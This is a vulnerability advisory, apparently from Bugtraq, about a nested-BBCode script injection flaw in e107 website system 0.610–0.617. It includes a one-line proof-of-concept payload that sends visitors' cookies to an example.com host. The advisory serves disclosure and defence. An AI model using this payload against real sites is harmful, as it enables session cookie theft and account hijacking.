e107 Website System Nested BBCode URL Tag Script Injection Vulnerability

Bugtraq ID:	14301
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 18 2005 12:00AM
Updated:	Jul 18 2005 12:00AM
Credit:	Nick Griffin is credited with the discovery of this vulnerability.
Vulnerable:	e107 e107 website system 0.617 e107 e107 website system 0.616 e107 e107 website system 0.6 15a e107 e107 website system 0.6 15 e107 e107 website system 0.6 14 e107 e107 website system 0.6 13 e107 e107 website system 0.6 12 e107 e107 website system 0.6 11 e107 e107 website system 0.6 10
Not Vulnerable:

e107 Website System Nested BBCode URL Tag Script Injection Vulnerability

e107 Website System is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

e107 Website System Nested BBCode URL Tag Script Injection Vulnerability

No exploit is required.

The following proof of concept is available:
[color=#EFEFEF][url]www.ut[url=http://www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.example.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

e107 Website System Nested BBCode URL Tag Script Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

e107 Website System Nested BBCode URL Tag Script Injection Vulnerability

References:

• e107 <= 0.617 XSS Remote Cookie Disclosure Exploit (Nick Griffin)
  
• e107 website system Homepage (e107.org)